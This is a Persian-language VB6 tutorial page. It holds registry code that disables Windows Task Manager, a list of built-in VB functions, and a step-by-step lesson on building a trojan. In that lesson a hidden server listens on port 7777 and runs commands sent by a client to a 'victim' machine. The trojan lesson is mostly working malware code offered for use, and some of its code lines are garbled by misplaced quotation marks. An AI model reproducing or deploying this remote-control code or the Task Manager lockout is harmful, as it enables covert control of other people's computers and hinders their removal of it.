آموزش تخصصی ویژوال بیسیک 6

مسائل مربوط به برنامه نویسی ویژوال بیسیک 6

آموزش تخصصی ویژوال بیسیک 6

مسائل مربوط به برنامه نویسی ویژوال بیسیک 6

غیر فعال کردن task manager

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const REG_SZ = 1
Private Const REG_BINARY = 3
Private Const REG_DWORD = 4
Private Const HKEY_CURRENT_USER = &H80000001

Private Sub SaveStringWORD(hKey As Long, strPath As String, strValue As String, strData As String)
'----------------------------------------------------------------------------
'Argument       :   Handlekey, Name of the Value in side the key
'Return Value   :   Nil
'Function       :   To store the value into a key in the Registry
'Comments       :   None
'----------------------------------------------------------------------------

    Dim Ret
    'Create a new key
    RegCreateKey hKey, strPath, Ret
    'Set the key's value
    RegSetValueEx Ret, strValue, 0, REG_DWORD, CLng(strData), 4
    'close the key
    RegCloseKey Ret
End Sub

Private Sub Check1_Click()
    SaveStringWORD HKEY_CURRENT_USER, "softwaremicrosoftwindowscurrentversionpoliciessystem", "DisableTaskMgr", Val(Check1.Value)
End Sub

Private Sub Form_Load()
    Check1.Caption = "Disable Task Manager"
End Sub

توابع داخلی ویژوال بیسیک

۱- تابع ABS قدر مطلق یک عدد رو برمیگردونه.

۲- تابع sin سینوس یک زاویه را برمیگردونه.

۳- تابع Cos کسینوس یک زاویه رو برمیگردونه.

۴- تابع Tan تانژانت یک زاویه رو برمیگردونه.

۵- تابع SQR جذر یک عدد رو برمیگردونه.

۶- تابع Atn آرک تانژانت یک عدد رو برمیگردونه.

۷- تابع RND یک عدد رو به صورت تصادفی و شانسی بر میگردونه.

۸- تابع Int جزء صحیح عدد اعشاری رو برمیگردونه.(مثل( Int(1.8 که عدد ۱ رو برمیگردونه.)

۹- تابع Fix این تابع قسمت اعشاری عدد را در صورت وجود حذف میکنه.

۱۰- تابع SGN علامت یک عدد رو برمیگردونه و علامت های اون به صورت زیر است:

اگر عدد

مقدار برگشتی تابع

+باشد

۱

۰ باشد

۰

- باشد

۱-

 

 

 

 

۱۱- تابع Val یک عدد را که به صورت رشته ای است به صورت عددی در می آورد.

۱۲- تابع ASC یک حرف یا کاراکتر رو دریافت میکنه و عدد اسکی اون رو برمیگردونه.

۱۳ - تابع Chr یک عدد رو میگیره و کاراکتر اسکی آن عدد رو نشون میده .(عدد بین ۰ تا ۲۵۵)

۱۴- تابع DateSerial روز و ماه و سال را میگیرد و میان آنها علامت ممیز قرار میدهد و به تاریخ تبدیل میکند

۱۵- تابع DIR فایلهایی که در داخل یک درایو یا فولدر هستن بر اساس فرمت آنها برمیگرداند.

۱۶- تابع Environ با گرفتن یک عدد بزرگتر از ۰ مشخصات سیستم رو بر اساس اون عدد برمیگردونه.

۱۷- تابع FileCopy باگرفتن نشانی مبدا و نشانی مقصد یک فایل رو از مبدا به مقصد کپی میکنه.

۱۸- تابع FileLen نشانی یک فایل را میگیرد و حجم آن را بر حسب بایت برمیگرداند.

۱۹- تابع Hour یک ساعت (مثل ۱۰:۵۵:۱۱ ) رو میگیره و ساعت اون رو برمیگردونه .

۲۰- تابع Minute یک ساعت رو مثل تابع بالا میگیره و دقیقه اون رو برمیگردونه.

۲۱- تابع Second یک ساعت رو مثل بالا میگیره و ثانیه اون رو برمیگردونه.

۲۲- تابع Left یک رشته رو میگیره و به تعداد دلخواه ازسمت چپ اون رشته حرف جدا میکنه و برمیگردونه.مثل(Left("Hello",2  که مقدار برگشتی اون برابر با He میشه.

۲۳- تابع Right مثل تابع Left عمل میکنه با این تفاوت که از سمت چپ حروف رو انتخاب میکنه.

۲۴- تابع StrReverse یک رشته رو میگیره و برعکس اون رو بر میگردونه.مثل strReverse("Ali")0 که مقدار برگشتی اون برابر با ilA است.

آموزش ساخت تروجان با ویژوال بیسیک

در این جلسه شما ابتدا با یک تروجان (مانند Sub 7 ) آشنا میشین و قسمت های مختلف اون رو مورد تجزیه و تحلیل قرار میدینو بعد با یک مثال ساده یک تروجان نسبتا پر قدرت میسازین.

کار تروجان به این صورت است که ابتدا فایل سرور را به یک نفر ارسال میکند و با اجرا شدن این فایل سرور کامپیوتر شخص بدبخت(Victim) برای کار تروجان ما یک راه باز میزاره.برای اینکه به کامپیوتر شخصی فایل سرور(Server) را ارسال کنیم نیاز به یک آدرس یا نشانی داریم که نشانی میتونه IP باشه یا میتونه نام کامپیوتر فرد قربانی باشه.بعد از اینکه تروجان ما به کامپیوتر فرد قربانی متصل بشه (مثل زالو بهش بچسبه) اطلاعاتی رو برای کامپیوتر فرد قربانی ارسال میکنه که این اطلاعات میتونند کارهایی از قبیل روشن خاموش کردن مانیتور باز و بسته کردن در سی دی درایو و کارهایی از این قبیل انجام بده.

برای اینکه ما بتونیم به کامپیوتر فرد قربانی متصل بشیم به یک منبع و یا یک کنترل احتیاج داریم که اطلاعات ما رو از طریق شبکه به کامپیوتر فرد قربانی بفرسته.در ویژوال بیسیک کنترلی وجود داره که این کار رو انجام میده که اسم این کنترل Win Socket است.

نمونه برنامه برای یادگیری ساخت تروجان :

قبل از شروع باید بگم به خاطر اینکه سایتی که فایل های تصویری رو بشه داخلش آپلود کرد گیر نیاوردم نتونستم عکس رو همره با آموزش بزارم اگه مشگلی پیش اومد حتما بگین یا اگه کسی یه سایت که بشه داخلش عکس آپلود کرد بلده بگه ممنون میشم.

ابتدا یک پروژه جدید از نوع Standard EXE باز کنید.

برای ساخت برنامه Clint با زدن کلیدهای ترکیبی Ctrl + T یا با کلیک کردن گزینه Components از منوی Project جعبه گفتگوی انتخاب کنترل ها را باز کنید.سپس به دنبال Microsoft WinSock Control 0.6 بگردین و چک بوکس کنار اون رو فعال کنین تا کنترل Win Sock به جعبه ابزار شما اضافه بشه . شکل کنترل WinSock یه چیزی مثل ۲ تا کامپیوتر ه که با یک خط به هم متصل شدند.

با دوبار کلیک کردن روی کنترل WinSock  اون رو به فرمتون اضافه کنید.

۶ عدد دکمه فرمان (Command) به فرمتون اضافه کنین و بعد از اون ۱ عدد تکست بوکس (Text Box) دیگر به فرم اضافه کنین.

خاصیت کنترل ها به صورت زیر هست:

ردیف نام کنترل خصوصیت Caption
۱ Command1 Connect
2 Command2 !Open The CDRom
3 Command3 Close The CDRom
4 Command4 Run OSK
5 Command5 Run NotPad
6 Command6 Close Trojan

 

 

 

 

 

شما میتونید به سلیقه خودتون کنترل ها رو روی فرم قرار بدین.

نوشتن کد برنامه:

روی دکمه فرمان Connect دابل کلیک کنید تا روال مربوط به کلیک شدن دکمه فرمان Command1 با بشه سپس کدهای زیر رو بنویسید:

Private sub Command1_Click

WinSock1.Close

WinSock1.Connect Text1.Text , 7777

End Sub

در قطعه کد بالا کنترل WinSock از طریق Ip که در Text1 نوشته میشه با پورت ۷۷۷۷ به کامپیوتر قربانی متصل میشه.

در مرحله دوم روی دکمه فرمان Open CD Rom دوبار کلیک کنید.و بعد قطعه کد زیر را بنویسید:

Private Sub Command2_Click

Dim strData as String

"strData = "OPENCD

WinSock1.SendData   strData

End Sub

در قطعه کد بالا با فشرده شدن دکمه فرمان Open CDRom ابتدا یک متغیر از نوع رشته ای درست میشه و در خط بعد مقدار متغیر ما (OPEN) برابر با OPENCD میشه و بعد مقدار متغیر برای کامپیوتر قربانی فرستاده میشه.

مرحله سوم:روی دکمه فرمان Close CDRom دابل کیک کنید و سپس کدهای زیر را بنویسید:

Private Sub Command3_Click

 Dim strData as String

"strData = "CLOSECD

WinSock1.SendData  strData

End Sub

مرحله چهارم:روی دکمه فرمان Run OSK دابل کلیک کنید و سپس قطعه کد زیر رو بنویسید:

Private Sub Command4_Click

Dim strData as String

"strData = "RunWindowOSK

WinSock1.SendData  strData

End Sub

مرحله پنجم:روی دکمه فرمان Run Note Pad دابل کلید کنید و قطعه کد زیر رو بنویسید:

Private Sub Command5_Click

Dim strData as String

"strData = "RunWindowNotePad

winSock1.SendData  strData

End Sub

مرحله ششم: روی دکمه فرمان Close Trojan دوبار کلیک کنید و قطعه کد زیر رو بنویسید:

Private Sub Command6_Click

Dim strData as String

"strData = "CloseMe

WinSock1.SendData  strData

End Sub

مرحله ششم برای تروجان ما مرحله مهمی است که باعث میشه که اتصال رو با فرد قربانی قطع کنیم و به برنامه پایان دهیم.

مرحله  هفتم: روی کنترل WinSock خودتون دوبار کلیلک کنید و در روال رویداد Connect کنترل WinSock قطعه کدهای زیر رو بنویسید:

Private Sub WinSock1_Connect

"WinSock1.SendData "Trojan

End Sub

مرحله هشتم:حالا در روال رویداد DataArival کنترل WinSock قطعه کد زیر را بنویسید:

(Private Sub WinSock1_DataArival(Byval BytesTotal as Long

Dim  StrData as String

WinSock1.GetData StrData , vbString

End Sub

با قطعه کدهایی که در بالا نوشتیم تازه برنامه Clint رو ساختیم و تازه حدود ۳۰ درصد کارو انجام دادیم

برای ساختن کامل برنامه و همچنین ساخت برنامه Server باید کارهای زیر رو انجام بدهید تا ۷۰ درصد دیگه کار انجام بشه.

ابتدا یک پروژه دیگه از نوع Standard EXE باز کنید و یک کنترل WinSock به نام WinSock1 به فرم خودتون اضافه کنید.

حالا میریم سراغ API های ویندوز اگه جلسه قبل رو مطالعه کرده باشین با این تابع API آشنا هستید . کار این تابع اینه که باعث میشه در CDRom یا Writer باز و بسته بشه.

با بازکردن پنجر کد (پنجره ViewCode ) در قسمت General کدها قطعه کد زیر رو بنویسید:

Private Declare Function mciSendString Lib "Winmm.dll" Alias "mciSendStringA" (Byval lpstrCommand as String , Byval lpstrReturnString as String , Byval uReturnLength as Long , Byval hwndCallBack as Long) as Long

حالا برای اینکه سرور ما دستوراتی که از Clint میاد اجرا کنه ما برای اون دستورات چند تا تابع مینویسیم

در ابتدا تابع باز شدن در CDRom رامینویسیم . در قسمت General پنجره کد کدهای زیر را بنویسید:

Private Function EjectCD

mciSendString "Set CDAudio Door Open" , 0 , 0 , 0 

End Function

بعد از تابع بالا تابع بسته شدن درب CDRom رو مینویسیم:

Private Function CloseCD

mciSendString "Set CDAudio Door Closed" , 0 , 0 , 0

End Function

حالا از پنجره View Code خارج بشین و روی فرم خودتون دابل کلیک کنید و در روال رویدار Load فرم کدهای زیر رو بنویسید:

Private Sub Form1_Load

WinSock1.LocalPort = 7777

WinSock1.Listen

Form1.Hide

End Sub

در خط اول نوشتیم که کنترل WinSock فقط از طریق پورت ۷۷۷۷ ارتباط برقرار کند و در خط دوم به برنامه سرور دستور Listen (گوش دادن) به Clint داده شد و در خط سوم فرم سرور مخفی بشه.

حالا از پنجره ViewCode خارج بشین و در روال رویداد ConnectionRequest کنترل WinSock کدهای زیر رو بنویسید:

(Private Sub WinSock1_ConnectionRequest (ByVal RequestID as Long 

If WinSock1.State <> sckClosed then WinSock1.Close

WinSock1.Accept  RequestID

End Sub

خوبه خوبه تا فعلا ۸۵ درصد کارها رو انجام دادین برای تکمیل کارها در روال رویداد DataArival کنترل WinSock قطعه کد زیر رو بنویسید:

(Private Sub WinSock1_DataArival (ByVal bytesTotal as Long 

DoEvents

Dim strData as String

(Call WinSock1.GetData (strData$ , vbString

DoEvent

Select Case strData

"Case "CloseMe

Unload Me

"Case "OPENCD 

EjectCD

"Case "CLOSECD

CloseCD

"Case "RunWindowOSK

"shell "OSK.exe

"Case "RunWindowNotePad

"Shell "NotePad.exe

End Select

End Sub

خوب حالا میتونین یه نفس راحت بکشین چون که کار ما تموم شد برای تست کردن برنامه در کامپیوتر خودتون ابتدا هر دو برنامه که ساختین (Clint and Server) اجرا کنین بعد درداخل Text1 در برنامه Clint شماره ۱۲۷.۰.۰.۱ رو بنویسید و بعد دکمه Connect رو بزنین و بعد بازدن دکمه فرمان های OpenCDRom و CloseCDRom و غیره برنامتون رو تست کنین و حالشو ببرین.